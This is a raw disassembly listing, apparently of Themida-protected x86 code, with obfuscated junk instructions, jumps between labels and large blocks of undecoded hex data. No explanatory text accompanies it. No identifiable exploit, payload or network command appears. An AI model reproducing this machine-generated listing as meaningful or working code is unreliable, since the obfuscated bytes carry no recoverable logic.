81784042h, 0F21D03E6h, 0F8F68155h, 813DEE4Fh dd 5D75C6F6h, 2551E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53A74A: ; CODE XREF: Themida_:00536AC4j mov ebp, [esp] add esp, 4 mov ecx, [edx] pop edx jmp loc_53D2BE ; --------------------------------------------------------------------------- aBQf db 'Íïf',0 db 1Ah, 81h, 0C5h dd 1, 52A168h, 24148900h, 0FFD89DE9h, 4C681FFh, 83000000h dd 0E8E904C6h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A77F: ; CODE XREF: Themida_:00542381j add ebx, 4 xchg ebx, [esp] jmp loc_5403E4 ; --------------------------------------------------------------------------- db 0BDh, 0Ch, 55h dd 0B4E973F4h, 80FFFFDCh, 0D1F6A1E9h, 0E98FE980h, 0FFFFC1B7h dd 42474FFh, 626FE95Bh, 0B1510000h, 3E1C0B3h, 3CE980h dd 7782E9C8h, 0D8010000h, 53241C8Bh, 1FCA68h, 24248900h dd 4240481h, 5B000000h, 4C381h, 0C3810000h, 4, 147DE9h dd 4C08300h, 0FFC2FBE9h, 815954FFh, 4C1h, 4C18100h, 33000000h dd 0C31240Ch, 240C3324h, 3C85685Ch, 0C890000h, 2474FF24h dd 48F5904h, 0FC6CE924h, 0C181FFFFh, 75770CD2h, 0E4E0F181h dd 0CA09CB6Fh, 0AFBB5359h, 810CFF23h, 966F8DF3h, 0DDF38106h dd 15A0B19h, 0D3015BDAh, 8124148Bh, 4C4h, 0E9D32900h, 0FFFFC127h ; --------------------------------------------------------------------------- loc_53A850: ; CODE XREF: Themida_:00537143j sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_53F23B ; --------------------------------------------------------------------------- loc_53A86A: ; CODE XREF: Themida_:0053BFEAj xor ebp, 564A5F94h jmp loc_541759 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0C2h dd 4D76524Ah, 8106EDC1h, 526A84CDh, 6CE58111h, 81132173h dd 0EA5811E5h, 1F0BE92Ah, 0E9500000h, 379Ch ; --------------------------------------------------------------------------- loc_53A89C: ; CODE XREF: Themida_:00540BD9j mov ecx, 2B8362CFh jmp loc_53765E ; --------------------------------------------------------------------------- dw 71BAh dd 14DB534h, 0BA525AD0h, 41B1087Ch, 5E66E281h, 0E3E9315Fh db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53A8BF: ; CODE XREF: Themida_:0053A3E4j add esp, 4 push esi mov esi, 21AB082Eh and eax, esi pop esi jmp loc_53F727 ; --------------------------------------------------------------------------- loc_53A8D3: ; CODE XREF: Themida_:005398F5j or edx, ecx jmp loc_539693 ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 1B9h, 1C4F0900h, 8B2434FFh, 0C483240Ch, 5E545604h dd 0FFC3C4E9h db 0FFh ; --------------------------------------------------------------------------- loc_53A8F9: ; CODE XREF: Themida_:0053CE55j mov eax, 725F19C2h jmp loc_539D6F ; --------------------------------------------------------------------------- loc_53A903: ; CODE XREF: Themida_:00539AAEj shr eax, 0Ah xor eax, ecx jmp loc_53CFF5 ; --------------------------------------------------------------------------- db 1, 0EAh, 8Bh dd 0C483242Ch, 0D16EE904h, 0E181FFFFh, 456951D3h, 0FC03BD55h dd 0E9291BD2h, 0FFB62BE9h, 89665CFFh, 0DEB62414h, 5A66F588h dd 0A5B55153h, 0EF2883B7h, 77AFE959h, 0D8000000h, 116CE9h dd 20A56800h, 0BAE90000h, 5D00002Ah, 2EE5E381h, 0EB816A38h dd 68102EC1h, 875BDD01h, 0FF5C242Ch, 0C8B2434h, 4C48324h dd 81E28952h, 4C2h, 22C56800h, 34890000h, 4BE24h, 0F2010000h dd 0E92434FFh, 0FFFFB2B7h, 0F45DF381h, 0DA29C9F2h, 2454015Bh dd 2C815A04h, 9474F024h, 0B113E96Eh, 0E983FFFFh, 240C8704h dd 0FFB21FE9h db 0FFh ; --------------------------------------------------------------------------- loc_53A9B9: ; CODE XREF: Themida_:00541D8Cj shr ecx, 7 or ecx, 77174DAEh jmp loc_53E1D9 ; --------------------------------------------------------------------------- loc_53A9C7: ; CODE XREF: Themida_:00537C62j xor esi, 0B7B1F305h mov edi, esi mov esi, [esp] add esp, 4 jmp loc_53CD2F ; --------------------------------------------------------------------------- dw 0C768h dd 0E900003Bh, 709h, 0C788D0F6h, 0F8865866h, 47E9C786h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A9F3: ; CODE XREF: Themida_:00539A57j push ebx push 628C6446h pop ebx sub ebx, 0CED9F5D9h mov ebp, ebx pop ebx sub ebp, 71FC024Dh sub ebp, eax add ebp, 71FC024Dh pop eax not ebp inc ebp or ebp, 292D5969h xor ebp, 38340584h not ebp sub ebp, 69470E4Eh sub ecx, ebp jmp loc_537C72 ; --------------------------------------------------------------------------- loc_53AA30: ; CODE XREF: Themida_:0053F5B3j xor eax, ebx jmp loc_54236E ; --------------------------------------------------------------------------- aFqESP db 'fQ±¥(ÎéµP',0 align 2 dw 74FFh dd 9BE90424h, 1FFFFDBh, 26402DD8h, 0B6830EBh, 8900007Ch dd 0EEE92434h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53AA5F: ; CODE XREF: Themida_:0053F2E6j xor esi, 2B3E2557h mov ebp, esi jmp loc_5388F4 ; --------------------------------------------------------------------------- dd 67EBBF57h, 0FB014A11h, 27C9E9h, 4C28100h, 83000000h dd 148704EAh, 4895C24h, 0A9E95324h, 59000008h, 0FFFC26E9h dd 0E8E95DFFh, 66000014h, 0E924048Bh, 4506h, 24048B66h dd 4EC81h, 0BE90000h, 1FFFFF5h, 5E042474h, 0D924E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53AABE: ; CODE XREF: Themida_:0053ED46j mov [esp], edi push 7597h mov [esp], ebx jmp loc_537B15 ; --------------------------------------------------------------------------- loc_53AACE: ; CODE XREF: Themida_:0053C021j push edi sub esp, 4 mov [esp], edx mov edx, 4 mov edi, edx pop edx add eax, edi pop edi xchg eax, [esp] mov esp, [esp] push 7E1Ah mov [esp], esi push ebp mov ebp, 3D7153B7h add [esp+4], ebp jmp loc_5377CC ; --------------------------------------------------------------------------- dd 53240489h, 90B0C2B3h, 23F5E9h, 81585C00h, 2C3h, 241C3300h dd 33241C31h, 0A4E9241Ch, 0FF000010h, 505A2434h, 0B9E9E089h dd 100004Bh, 240C8BCBh, 607CE9h, 4B900h, 52E90000h, 89000014h dd 6852242Ch, 72C011A1h, 74C2815Ah, 8173F542h, 0B55413EAh dd 5AD589E6h, 0E95DEF01h, 3184h, 83243C8Bh, 79B904C4h dd 1DC9DE3h, 0B422E9D9h, 3924FFFFh, 0FFDEDFE9h, 24248BFFh dd 0E92434FFh, 0FFFFDF10h, 0E9E78957h, 1570h, 0BA241489h dd 53C317CEh, 0C317D0B8h, 0D8B4E953h, 0E981FFFFh, 796B2D63h dd 6FBD555Fh, 8114D503h, 0D5036DEDh, 8BE90114h, 0C483242Ch dd 240C8704h, 6624248Bh, 8324048Bh, 1C8904ECh, 81E38924h dd 4C3h, 4EB8300h, 0E9241C87h, 6C7Dh, 5166D800h, 0E904EC83h dd 42DBh, 8324148Bh, 0E95304C4h, 0FFFFE47Ah, 0E92C77FFh dd 0FFFFAEC1h ; --------------------------------------------------------------------------- loc_53AC00: ; CODE XREF: Themida_:0053DD0Fj add edx, 4 xchg edx, [esp] pop esp sub [edi+24h], eax pop eax loc_53AC0B: ; CODE XREF: Themida_:00541CFFj push edx push 5A7Dh mov [esp], ebx push 769h mov [esp], esi push eax mov eax, 628E21F9h mov esi, eax jmp loc_54046B ; --------------------------------------------------------------------------- db 5Fh, 87h, 1Ch dd 8B665C24h, 33E92404h, 66000017h, 0E9240C8Bh, 0FFFFAF7Ch ; --------------------------------------------------------------------------- loc_53AC40: ; CODE XREF: Themida_:0053B284j xor esi, [esp] jmp loc_541F8F ; --------------------------------------------------------------------------- dd 24048B66h, 8904EC83h, 0EC812404h, 4, 0E9242489h, 6649h dd 4B24BB53h, 0D829547Dh, 83241C8Bh, 0D02904C4h, 7D4B2405h dd 0FF72E954h, 5351FFFFh, 0DD88C388h, 59EE885Bh, 4885E9h db 0 ; --------------------------------------------------------------------------- loc_53AC89: ; CODE XREF: Themida_:0053F4CBj push 7205h mov [esp], esi jmp loc_53E320 ; --------------------------------------------------------------------------- dw 0F580h a9s@ db '9é',1Bh,'@',0 align 2 dw 0C181h dd 6C3E4996h, 0E981D901h, 6C3E4996h, 663CC181h, 0C181216Ch dd 3EF44212h, 0E9241C8Bh, 0FFFFC087h, 117E781h, 0E97C07h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53ACCB: ; CODE XREF: Themida_:00539EDDj pop ecx push 54B1h mov [esp], edi mov edi, 1C5E6BEAh xor eax, edi mov edi, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 sub esp, 4 mov [esp], ecx jmp loc_53C205 ; --------------------------------------------------------------------------- dd 7589F181h, 0CF01787Dh, 0B9515A59h, 40254A29h, 0E906E1C1h dd 5F5Fh ; --------------------------------------------------------------------------- loc_53AD18: ; CODE XREF: Themida_:00537C0Fj add esp, 4 pop dword ptr [esp] jmp loc_53DD14 ; --------------------------------------------------------------------------- loc_53AD26: ; CODE XREF: Themida_:0053B246j mov eax, 5E307715h and ebx, eax pop eax jmp loc_53FC75 ; --------------------------------------------------------------------------- db 5Ah dd 5E08950h, 4, 405h, 0F0E95000h, 81000073h, 0E25108E9h dd 81D1015Fh, 0E25108C1h, 0F2685A5Fh, 8900002Fh, 0FDE92434h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53AD63: ; CODE XREF: Themida_:0053FE55j pop esp mov [esp], esi push esp jmp loc_53DA5D ; --------------------------------------------------------------------------- db 1, 0D5h, 81h dd 147154C5h, 24148B1Ah, 0E904C483h, 43A6h, 7333E959h dd 0AD2C0000h, 0BCE9C300h, 81000024h, 560ADFC1h, 52E90178h dd 0F855A8BAh, 1BF28137h, 0E9460B16h, 4E0Fh ; --------------------------------------------------------------------------- loc_53ADA8: ; CODE XREF: Themida_:0053842Aj sub eax, ebp mov ebp, [esp] add esp, 4 sub ecx, eax mov eax, [esp] add esp, 4 and eax, ecx mov ecx, [esp] add esp, 4 jmp loc_53C571 ; --------------------------------------------------------------------------- dd 875AD601h, 8F5C2434h, 248B2404h, 24040924h, 0C49CE99Ch dd 0A0DFFFFh, 0E945F44Dh, 701Bh, 0A7368h, 241C8900h, 0EC815B54h dd 4, 0B8240489h, 4, 2D46EB81h, 0E0E9068Dh, 66FFFFC9h dd 0E9240489h, 0FFFFACADh ; --------------------------------------------------------------------------- loc_53AE14: ; CODE XREF: Themida_:0053E548j add ebp, 4 sub ebp, 2 jmp loc_539348 ; --------------------------------------------------------------------------- loc_53AE25: ; CODE XREF: Themida_:0053F034j mov ecx, 4C040D61h sub esp, 4 mov [esp], ecx xchg edi, [esp] jmp loc_540A14 ; --------------------------------------------------------------------------- aRh@ESg db 'Rh@-e~ég*',0 align 2 dw 0E952h dd 0FFFFC787h ; --------------------------------------------------------------------------- loc_53AE4C: ; CODE XREF: Themida_:00535DB8j dec eax shl eax, 8 sub eax, 1A475DFCh add esi, eax pop eax xor esi, [esp] xor [esp], esi jmp loc_537BFC ; --------------------------------------------------------------------------- loc_53AE63: ; CODE XREF: Themida_:0053BFACj add ecx, 4 xchg ecx, [esp] pop esp push 7985h mov [esp], esi jmp loc_53CBA4 ; --------------------------------------------------------------------------- loc_53AE77: ; CODE XREF: Themida_:0053E2E3j push 4D3Ch mov [esp], edi jmp loc_53DB5F ; --------------------------------------------------------------------------- loc_53AE84: ; CODE XREF: Themida_:0053BD32j inc edx sub edx, 5902501h mov ebx, edx pop edx push ebp mov ebp, ebx mov esi, ebp pop ebp pop ebx jmp loc_53F0ED ; --------------------------------------------------------------------------- aItxysdk db 'ˆâXYé¤k',0 dw 8900h dd 0F9B9240Ch, 2968B479h, 78E959C8h, 66FFFFC5h, 53240C8Bh dd 24E7E9h db 0 ; --------------------------------------------------------------------------- loc_53AEBD: ; CODE XREF: Themida_:0053C517j not edx xchg edx, ecx shr ecx, 4 jmp loc_5373DD ; --------------------------------------------------------------------------- align 2 dw 5BFEh dd 8B66F300h, 0C4832414h, 0C400E902h, 0CE31FFFFh, 0E9F08959h dd 0FFFFD627h ; --------------------------------------------------------------------------- loc_53AEE4: ; CODE XREF: Themida_:00538B60j mov [esp], ebp push 3D7153B7h mov ebp, [esp] add esp, 4 push ebp pop ecx pop ebp add edi, 2153319Ah jmp loc_541D63 ; --------------------------------------------------------------------------- db 29h dd 0C3015AD3h, 6C1E6852h, 0E95A2EBEh, 6D96h, 0E904C483h dd 0FFFFDF02h, 0E924248Bh, 0FFFFAB9Dh, 703E68BAh, 66F2817Bh dd 4A3F5F2Fh, 0EEF7C281h, 0D189BBD0h, 0E9CA015Ah, 3E7Fh dd 4C481h, 0D8310000h, 1063E95Bh, 0F7660000h, 58662414h dd 2E8C166h, 66D0F766h, 0E99CFF05h, 1C7Fh, 1C27CF81h, 514F0B38h dd 0E25D9CB9h, 9CC9815Ch, 0D12E0701h, 0D1F741E1h, 0FFC736E9h dd 240489FFh, 4055854h, 83000000h, 148904ECh, 2BA24h, 0D0010000h dd 7B8C685Ah, 4890000h, 2474FF24h, 2434FF04h, 4C48158h dd 8F000000h, 665C2404h, 52240C8Bh, 0C3685A54h, 0E900000Ah dd 4C01h, 24048966h, 50512FB4h, 0C48068B4h, 5B06E9FFh dd 1CF70000h, 0E2E99C24h, 0BBFFFFAAh, 6AEC5A8Dh, 25DFEB81h dd 0E3D11F53h, 66FDEB81h, 0F7431F8Dh, 0EE04E9DBh, 2859FFFFh dd 0AD0AE9C3h, 0CEFEFFFFh, 3A8C68h, 24048900h, 0D02AB252h dd 0F6DAF6E2h, 0E035E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B01A: ; CODE XREF: Themida_:0053C3EBj sub esp, 2 mov [esp], bx jmp loc_53D2B7 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 4B9h, 8BCA2900h, 0C481240Ch, 4, 5C241487h, 0FFC5D1E9h dd 0D0E9D0FFh, 0B75366E1h, 66F92871h, 8BC8205Bh, 0C483240Ch dd 479C6804h, 1C890000h, 4EC8324h, 81242489h, 42404h, 0EDE90000h dd 6600005Fh, 83240C8Bh, 2C8904ECh, 57E58924h, 4EC81h dd 2C890000h, 44206824h, 4D5D51BFh, 5302EDC1h, 2992E9h dd 8BE95F00h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53B09F: ; CODE XREF: Themida_:005374D5j mov esi, 21DE77CEh add esi, 58A0C0F8h push ebp mov ebp, 1AA6118Dh add ebp, 697E1CA1h jmp loc_53B9E6 ; --------------------------------------------------------------------------- db 0BDh dd 2, 2C8BEE01h, 4C48324h, 5C243487h, 24048B66h, 4EC81h dd 0C890000h, 31E7E924h, 0DE300000h, 3AEFE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B0E6: ; CODE XREF: Themida_:0053B894j add esi, eax jmp loc_53C011 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 8904EC83h, 4BF243Ch, 89000000h, 3C68E9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B102: ; CODE XREF: Themida_:00537F19j mov ebp, 68CA2BEEh jmp loc_53DD35 ; --------------------------------------------------------------------------- dd 4C38159h, 87000000h, 875C241Ch, 248B2434h, 0F9F76624h dd 56366866h, 24148966h, 6ABDE9h, 5AD00100h, 0FA458D05h dd 2DF82910h, 10FA458Dh, 4A34A92Dh, 3ABC0523h, 34FF753Bh dd 0C4835F24h, 0B72CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B152: ; CODE XREF: Themida_:0053E4FFj push edi jmp loc_540BA4 ; --------------------------------------------------------------------------- aSsA db 'Sé',9,'a',0 align 2 loc_53B15E: ; CODE XREF: Themida_:0053DCDCj mov [esp], edx mov edx, 4 jmp loc_54116F ; --------------------------------------------------------------------------- db 1 dd 315A5EF5h, 55575DE8h, 0B257A7BDh, 8B5F5506h, 0C483242Ch dd 5CBA5204h, 0E939BE34h, 0FFFFD339h ; --------------------------------------------------------------------------- loc_53B18C: ; CODE XREF: Themida_:0053E41Bj sub dword ptr [esp+4], 7C2E1BCFh pop ebx push dword ptr [esp] jmp loc_541D32 ; --------------------------------------------------------------------------- loc_53B19D: ; CODE XREF: Themida_:00538127j push ecx mov ecx, 6AC82ABAh or ebx, ecx pop ecx shr ebx, 1 jmp loc_5403B2 ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 8 dd 0F381DBF7h, 0FF0069E3h, 575BDA01h, 0C781E789h, 4, 4EF81h dd 0FF570000h, 0E9042474h, 3CD0h, 1623E956h, 0CB010000h dd 0FFFF2BE9h, 3AED81FFh, 19E7272h, 0B23DE9EBh, 8B66FFFFh dd 0E950240Ch, 0FFFFAC86h ; --------------------------------------------------------------------------- loc_53B1F8: ; CODE XREF: Themida_:0053ED2Dj mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 sub esp, 4 mov [esp], esi push 4 pop esi add edi, esi pop esi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push ecx jmp loc_542041 ; --------------------------------------------------------------------------- dw 487h dd 24248B24h, 0CA66E957h, 2489FFFFh, 0B29E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B23E: ; CODE XREF: Themida_:005373FBj sub ebx, 747E1D20h pop edi push eax jmp loc_53AD26 ; --------------------------------------------------------------------------- aISX db 'ˆÜéêX',0 align 2 aBi db 'ë¼',0 dw 404Ch dd 0A7E9DF01h, 0FF00005Eh, 34FF2434h, 1CA8E924h, 34FF0000h dd 319E924h, 815B0000h, 2C2h, 0E2895200h, 0FFD569E9h db 0FFh ; --------------------------------------------------------------------------- loc_53B281: ; CODE XREF: Themida_:0053E33Ej xor [esp], esi jmp loc_53AC40 ; --------------------------------------------------------------------------- db 5Ch, 89h, 4 dd 798B824h, 0C1092DADh, 0E924048Bh, 1336h ; --------------------------------------------------------------------------- loc_53B29C: ; CODE XREF: Themida_:0053DDBCj mov ebp, ebx pop ebx jmp loc_542230 ; --------------------------------------------------------------------------- dd 8246C29h, 0C1EDE95Dh, 4BDFFFFh, 1000000h, 60685DE9h dd 8900000Ch, 0D0E9241Ch, 0FF00000Bh, 589D1C77h, 9C240419h dd 0FFA7F0E9h, 48B66FFh, 0E2895224h, 0FFB389E9h, 66E830FFh dd 5AAD6859h, 0C890000h, 76E95324h, 33000038h, 14312414h dd 0CE5CE924h, 5156FFFFh, 0F1703BB9h, 0AADAE91Eh, 5A5DFFFFh dd 0D587D2F7h, 0BF0F581h, 0EB01C253h, 623DE9h, 0BAE95000h dd 5300003Eh, 996922BBh, 30B9E967h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B32A: ; CODE XREF: Themida_:00540DC7j add ecx, 234722C8h mov esi, [esp] jmp loc_540615 ; --------------------------------------------------------------------------- dd 0F780B4B7h, 6FC78059h, 98E9F888h, 5F000047h, 39E9D031h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_53B34F: ; CODE XREF: Themida_:0053C506j mov ebx, esp jmp loc_53F25C ; --------------------------------------------------------------------------- dw 0D328h dd 2EC81h, 89660000h, 66E92404h, 8BFFFFEFh, 0C481240Ch dd 4, 3E1DF181h, 0C5E97C2Fh db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_53B37B: ; CODE XREF: Themida_:00535B79j push eax mov eax, 4 add ebp, eax jmp loc_539AA6 ; --------------------------------------------------------------------------- dd 3217F4BEh, 0E9B9514Ch, 813D1C7Bh, 797B7BF1h, 0D5BA523Dh dd 0C1319A76h, 0C14206E2h, 0EA8102EAh, 36B907D0h, 1C68E281h dd 0E4E9378Ch, 8F00004Ah, 0A703E902h, 0DA89FFFFh, 0FFE98CE9h dd 241C87FFh, 73B9515Ch, 56286F29h, 316425BEh, 0A6EE816Fh dd 0C1372876h, 0C68104E6h, 5DF56F09h, 0C681EED1h, 0C15F50Bh dd 815EF109h, 7F39F3F1h, 0EFF5E97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B3FA: ; CODE XREF: Themida_:00541D41j xor eax, 0D5A1E6E1h mov edi, eax pop eax add ebx, 15893F94h add ebx, edi sub ebx, 15893F94h mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_535AC1 ; --------------------------------------------------------------------------- dd 2414F750h, 24B3E958h, 8B660000h, 8152240Ch, 4ECh, 24248900h dd 6859E9h, 0D4EF8100h, 0E9277700h, 0FFFFE640h, 0C1E95B54h dd 81000068h, 4C6h, 0BE40E900h, 0C8BFFFFh, 4C48324h, 0FFC0B60Fh dd 56518734h, 17D0B951h, 34BE4B18h, 311A3C3Fh, 240C8BCEh dd 8104C483h, 0E60074E6h, 0E953461Fh, 0FFFFECF2h, 0AB64E95Fh dd 0BF57FFFFh, 3C307598h, 0F75FFA89h, 0DB3CE9DAh, 0EA81FFFFh dd 785E6D13h, 0FFC347E9h, 1ECF81FFh, 81104951h, 8517A7C7h dd 1C7831Ah, 8102EFC1h, 8465CBC7h, 0FA9E9EBh, 295F0000h dd 0EC812404h, 4, 0E9241489h, 0FFFFFFB6h ; --------------------------------------------------------------------------- loc_53B4E0: ; CODE XREF: Themida_:0053CA46j mov [esp], esi jmp loc_53657A ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 4E981h, 0C870000h, 61EAE924h, 0E95A0000h dd 2A33h, 582434FFh, 0FFB317E9h db 0FFh ; --------------------------------------------------------------------------- loc_53B50D: ; CODE XREF: Themida_:00540DACj add edi, ebx add edi, 221839BCh pop ebx jmp loc_53F457 ; --------------------------------------------------------------------------- db 83h dd 3C8704C7h, 0F5E7E924h, 2DADFFFFh, 17FE38AAh, 0C63E952h dd 3CB90000h, 31648231h, 5904244Ch, 3CF3815Bh, 0E9648231h dd 0FFFFC67Eh, 33240C31h, 55C240Ch, 4, 0A3368h, 242C8900h dd 0F96206BDh, 80ED8155h, 0C10B5710h, 0B95102EDh, 5BE14543h dd 0F181D1F7h, 33C02622h, 0DB8DC181h, 0ED81D47Ah, 536C2E6Eh dd 4E9CD29h, 5B000001h, 0FFC2C3E9h, 2434FFFFh, 8324048Bh dd 8CE904C4h, 0B9000040h, 48355190h, 98E18149h, 816FDC29h dd 0EC266FE9h, 555DE913h, 0F74B0000h, 3357E9D3h, 8B660000h dd 68562404h, 4FE9h, 81242489h, 42404h, 34FF0000h, 89525E24h dd 91BD55E2h, 0C10DA94Ch, 0C58107EDh, 65B575FFh, 8108EDC1h dd 262ED7F5h, 0E5C5811Eh, 1E1BC01h, 0C2835DEAh, 0BB9AE904h dd 248BFFFFh, 4D36624h, 0B2E99C24h, 5AFFFFA4h, 0A5E9C831h dd 0E9000032h, 0FFFFA4A5h, 81585450h, 4ECh, 243C8900h dd 2DF2E953h, 0E9560000h, 0FFFFA6C6h, 80E5CD80h, 0DDE9A6F5h dd 55000022h, 0FFB96BE9h db 0FFh ; --------------------------------------------------------------------------- loc_53B645: ; CODE XREF: Themida_:0053A725j push esi mov esi, 57CE2DEDh not esi dec esi jmp loc_537C5A ; --------------------------------------------------------------------------- db 87h dd 505C240Ch, 3C0AE6B8h, 24EB3556h, 5403B59h, 929AD1F6h dd 0E958C701h, 7DAh, 19C568h, 24048900h, 8904EC83h, 0A7E9243Ch dd 66FFFFCCh, 66C8B60Fh, 32E99C51h, 81FFFFA4h, 6C2E6EC5h dd 0B0E5E953h, 34FFFFFFh, 2434FF24h, 0E65E959h, 72050000h dd 35985B9Ch, 2877EFCh, 95D5F795h, 12Dh, 6E8C100h, 15864235h dd 68FBE974h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B6C6: ; CODE XREF: Themida_:00535D63j add esp, 2 pop ebx add al, 8Eh sub al, ch sub al, 8Eh jmp loc_53C586 ; --------------------------------------------------------------------------- loc_53B6D8: ; CODE XREF: Themida_:0053F0F0j mov [esp], eax mov eax, 24h jmp loc_53C5E0 ; --------------------------------------------------------------------------- db 58h, 29h, 47h dd 2434FF40h, 0E6895658h, 4C681h, 0B9510000h, 4, 8759CE01h dd 0E95C2434h, 0FFFFFDFCh, 24048B66h, 515F5457h, 4B9h dd 59CF0100h, 81E18951h, 4C1h, 71E95500h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B727: ; CODE XREF: Themida_:00541FB6j mov edi, 0FB95FA0Eh sub edi, 66912C18h add edi, ebp add edi, 66912C18h push dword ptr [esp] jmp loc_54223D ; --------------------------------------------------------------------------- dw 0C381h dd 92595201h, 1C8BD831h, 4C48124h, 68000000h, 1F93h, 68240C89h dd 42337640h, 81240C8Bh, 4C4h, 0FFCB0100h, 81592434h, 4C4h dd 48B96800h, 0F8E90000h, 51000017h, 0DB4208B9h, 0BA52417Fh dd 3432A3Fh, 295AD129h, 0F5EAE9C8h, 0E958FFFFh, 0FFFFD257h dd 0D1B9514Eh, 31A54618h, 0BF5759CEh, 2D644929h, 0D2F7D787h dd 0EF81D787h, 837EA2DBh, 15FF901h, 0FBE981F1h, 8B4F1D13h dd 0C4812434h, 4, 0FFF35EE9h, 0C895CFFh, 2474FF24h, 240C8B04h dd 0EF29E956h, 0C483FFFFh, 0C2815A04h, 4, 3304EA83h, 14312414h dd 24143324h, 3351E9h, 0B6C38100h, 297A3F12h, 0D04CE9C3h dd 0B2E9FFFFh, 1FFFFA2h, 0FF6658C3h, 0ECA8E930h, 835AFFFFh dd 976804C4h, 89000071h, 5E92414h, 2800005Ch, 0EF7CE9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B832: ; CODE XREF: Themida_:00539F8Dj or eax, eax jz loc_537795 push dword ptr [edi+28h] push dword ptr [esp] pop eax push eax mov eax, esp push ebp jmp loc_53C448 ; --------------------------------------------------------------------------- loc_53B84A: ; CODE XREF: Themida_:0053D108j pop edx pop edx add edi, ecx add edi, 7BCC4139h std push 621Fh mov [esp], esi mov esi, 6E6078EFh shr esi, 8 jmp loc_53C07F ; --------------------------------------------------------------------------- dw 0C181h dd 4, 8704C183h, 0D1E9240Ch, 0FFFFFFD1h, 669D1C77h, 4196658h dd 36E99C24h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B88B: ; CODE XREF: Themida_:00541F7Aj mov [esp], eax push 24h pop eax jmp loc_53B0E6 ; --------------------------------------------------------------------------- aRs db 'Ré}:',0 db 0 ; --------------------------------------------------------------------------- loc_53B89F: ; CODE XREF: Themida_:00539CD5j push 4 pop esi add ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] movzx ecx, al push 0D51h jmp loc_53C5CA ; --------------------------------------------------------------------------- loc_53B8BB: ; CODE XREF: Themida_:0053DCC2j pop ebx add ebp, 0FFFFFFFFh add ebp, 12BE04CDh jmp loc_53D1E3 ; --------------------------------------------------------------------------- loc_53B8CD: ; CODE XREF: Themida_:0053CA80j xor eax, edx pop edx push 591Ch jmp loc_5384EA ; --------------------------------------------------------------------------- dw 0C381h dd 4, 0E9241C33h, 0FFFFE97Eh, 59CD3159h, 14FDB951h, 0FEE9588Ah db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53B8F7: ; CODE XREF: Themida_:0053977Bj push ebp mov ebp, 16D97559h shl ebp, 1 shl ebp, 2 add ebp, 49345539h add [eax], ebp pop ebp jmp loc_53A282 ; --------------------------------------------------------------------------- dd 5A2434FFh, 5733E9h, 0B9515E00h, 4, 1F34EE81h, 0CE0146DDh dd 1F34C681h, 525946DDh, 0C63B43BAh, 60BB5302h, 55039F4Bh dd 5CDCE9h, 240C8900h, 5801E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B94A: ; CODE XREF: Themida_:00539841j mov eax, 37923D2Eh sub eax, 0C27BF1F2h add ebx, eax pop eax xor edx, eax jmp loc_5388EF ; --------------------------------------------------------------------------- dw 0F781h dd 5C6805D3h, 2899E781h, 0BA520B02h, 50201E7Eh, 815AD721h dd 2F5F27F7h, 0E7B8503Ah, 0E95D463Eh, 0FFFFBF96h ; --------------------------------------------------------------------------- loc_53B984: ; CODE XREF: Themida_:005387A8j pop edi jmp loc_5415C5 ; --------------------------------------------------------------------------- dw 34FFh dd 89525A24h, 0E95251E2h, 0FFFFF58Ch ; --------------------------------------------------------------------------- loc_53B998: ; CODE XREF: Themida_:00537A5Bj sub edx, eax pop eax mov ebp, edx pop edx and eax, ebp push dword ptr [esp] jmp loc_541B44 ; --------------------------------------------------------------------------- dd 90E9C601h, 88000006h, 0EC8359C8h, 563AE904h, 0CF810000h dd 1C3E2D28h, 0FFF2FBE9h, 0F8315FFFh, 19AE9h, 1C33BA00h dd 0D4E94E04h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B9D7: ; CODE XREF: Themida_:0053F196j mov ebp, [esp] add esp, 4 pop edx jmp loc_53DE50 ; --------------------------------------------------------------------------- loc_53B9E6: ; CODE XREF: Themida_:0053B0B6j sub ebp, 66D4751Ch xor ebp, 496C77CDh xor ebp, 35F5F8Ch dec ebp jmp loc_53EDB4 ; --------------------------------------------------------------------------- aUhB db 'UhÁB',0 align 4 dd 83242489h, 5D042404h, 4B951h, 0CD010000h, 5F70E959h dd 68570000h, 24FF5463h, 5EFC15Fh, 0D5FDF781h, 0FE89081Ch dd 81243C8Bh, 4C4h, 0A1C68100h, 21F6C4CCh, 34FF1C77h, 0CEE5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- 